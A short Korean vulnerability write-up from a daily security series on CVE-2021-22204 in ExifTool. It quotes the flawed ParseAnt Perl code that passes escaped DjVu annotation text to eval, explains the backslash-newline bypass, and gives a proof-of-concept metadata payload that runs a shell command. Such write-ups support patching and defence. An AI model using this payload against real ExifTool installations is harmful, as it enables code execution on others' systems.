[하루한줄] CVE-2021-22204: ExifTool 임의 코드 실행 취약점
URL
ExifTool CVE-2021-22204 - Arbitrary Code Execution
Target
- ExifTool
Explain
이미지 파일의 메타 데이터를 수정할 때 사용되는 ExifTool에서 임의 코드 실행 취약점이 발견되어 세부 정보가 공개되었습니다.
ExifTool은 perl 스크립트로 구현되었으며 취약점은 DjVu 파일을 파싱하는 DjVu
모듈의 ParseAnt
메서드에 존재합니다.
sub ParseAnt($)
...
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\\" at end of string
$tok =~ s{\\\\(.)|([\\$\\@]|\\\\$)}{'\\\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
...
위 코드는 C와 유사한 escape sequence를 구현한 코드로 $tok
변수의 특수 문자를 escape 처리한 뒤 이를 eval
함수에 전달합니다.
그러나 정규식 tok =~ /(\\\\+)$/
에서 $
가 문자열의 끝과 개행을 의미해 백 슬래시와 개행 문자를 쓰면 문자열이 끝난 것으로 인식하고 개행 이후에 오는 특수 문자를 처리하지 않습니다. 따라서 return data;
코드를 실행하는 아래 PoC와 같이 eval
함수를 벗어나 임의 코드를 실행할 수 있습니다.
(metadata
(Author "\\
" . return `date`; #")
)
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.